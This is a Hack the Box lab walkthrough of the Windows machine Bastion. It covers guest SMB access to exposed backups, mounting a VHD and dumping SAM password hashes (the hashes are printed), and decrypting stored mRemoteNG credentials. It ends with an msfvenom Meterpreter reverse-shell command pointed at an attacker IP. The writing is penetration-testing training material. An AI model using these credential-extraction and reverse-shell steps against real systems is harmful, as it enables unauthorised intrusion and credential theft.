Walkthrough of machine Bastion from Hack the Box. Key findings include production backup data being left unencrypted and exposed to the public & storage of credentials in a non-secure manner.
Walkthrough of Bastion machine from Hack the Box.
Key findings noted from the machine Bastion:
Nmap was used to complete an initial scan of the host (command: nmap -A -T4 10.10.10.134). Amended outputs shown below, key items highlighted. Scan shows reported instances of:
The host is also reported as running Windows Server 2016 Build 14393.This places the server as using code from late 2016. Additionally, the server is reporting a noticeable clock-skew, which indicates possible time source misconfiguration.
<SNIP> 22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0) <SNIP> 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds <SNIP> |_clock-skew: mean: -39m59s, deviation: 1h09m14s, median: -1s <SNIP>
Enumerating the identified SMB share (command: smbmap -H 10.10.10.134 -u guest) identifies a custom share (Backups) which is accessible. It also shows the C drive is available as a share but not currently accessible using guest credentials.
smb: \> dir <SNIP> note.txt AR 116 Tue Apr 16 20:10:09 2019 <SNIP> WindowsImageBackup D 0 Sun Jul 28 14:05:58 2019 7735807 blocks of size 4096. 2779978 blocks available smb: \> get note.txt getting file \note.txt of size 116 as note.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
Reading the note.txt file advises: Sysadmins: please don’t transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
Digging further into the backups share shows copies of VHD (Microsoft Virtual disk). The share also contains multiple XML files which appear to be associated with the Windows backup process. Analysing the XML files does now show any obvious information of interest.
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> dir <SNIP> 9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd A 37761024 Fri Feb 22 23:44:03 2019 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd A 5418299392 Fri Feb 22 23:45:32 2019 <SNIP>
Attempting to access the VHD files fails. As per the contents of note.txt the network connection to the device is likely unsuitable to attempt downloading the whole files. Attempting to work around this by limiting the speed of the file transfer was not successful.
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> get 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd parallel_read returned NT_STATUS_IO_TIMEOUT smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> getting file \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd of size 5418299392 as 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd SMBecho failed (NT_STATUS_CONNECTION_DISCONNECTED). The connection is disconnected now
Following research an alternative strategy to access the data was devised. First the backup share was mounted directly on the filesystem (command: mount -t cifs -o username=guest //10.10.10.134/backups backups/) then the VHD file was mounted directly using guestmount (command: guestmount –add “/root/Documents/Bastion/backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd” –inspector –ro /root/Documents/Bastion/vhd/ -v)
After running both commands the larger of the two VHD files was then directly accessible.
root@kali2019:~/Documents/Bastion/nmap# df -h Filesystem Size Used Avail Use% Mounted on //10.10.10.134/backups 30G 19G 11G 65% /root/Documents/Bastion/backups /dev/fuse 15G 7.4G 7.6G 50% /root/Documents/Bastion/vhd
From manually reviewing the file system no alternative files of use were immediately identified. Copies of the following registry hives were extracted for offline analysis.
Dumping contents of NTUSER.DAT using regripper did not yield any information of immediate interest.
Analysing the SYSTEM and SAM files (command: samdump2 SYSTEM SAM) provides the username and password hashes.
*disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
Analysis of the results shows:
Identified credentials can be used to login via SSH & SFTP to the OpenSSH instance.
SFTP root@kali2019:~/Documents/Bastion# sftp L4mpje@10.10.10.134 L4mpje@10.10.10.134's password: Connected to L4mpje@10.10.10.134. sftp> SSH Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. l4mpje@BASTION C:\Users\L4mpje>
User.txt found on desktop of L4mpje. Confirmation shown below.
Attempting to enumerate further in the system encounters multiple permission denied errors. This suggests the logged in as user has a low level of available privileges.
l4mpje@BASTION C:\Users\L4mpje>systeminfo ERROR: Access denied
After manually enumerating installed programs mRemoteNG stands out of interest. Tool is used to remotely access server resources and is suggested to store credentials in an insecure manner. Credentials for application noted as being stored in file confCons.xml. Copy of the confCons.xml file obtained from %USER%/AppData/Roaming/mremoteng/confCons.xml and reviewed.
Two items of interest found from reviewing file are below. File appears to store RDP credentials for user Administrator and L4mpje.
<SNIP> <Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Username="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" Hostname="127.0.0.1" Protocol="RDP" <SNIP> <Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128" Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB" Hostname="192.168.1.75" Protocol="RDP" <SNIP>
Multiple methods of extracting passwords reviewed. Final solution chosen was downloading a current copy of mRemoteNG onto a local machine and using it to extract passwords.
Importing the confCons.xml file into mRemoteNG shows it is not password protected.
Guide at http://hackersvanguard.com/mremoteng-insecure-password-storage/ followed and Administrator password successfully extracted.
Root.txt located on desktop of Administrator user.
To support post exploitation activities a Meterpreter payload was generated (command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.12.247 LPORT=5722 -f exe -o 5722.exe) and loaded onto the machine using the Administrator account via SFTP.
Attempts to trigger the payload failed. Analysis of the error message indicates it has encountered a system anti-virus restriction. The following items were attempted and failed: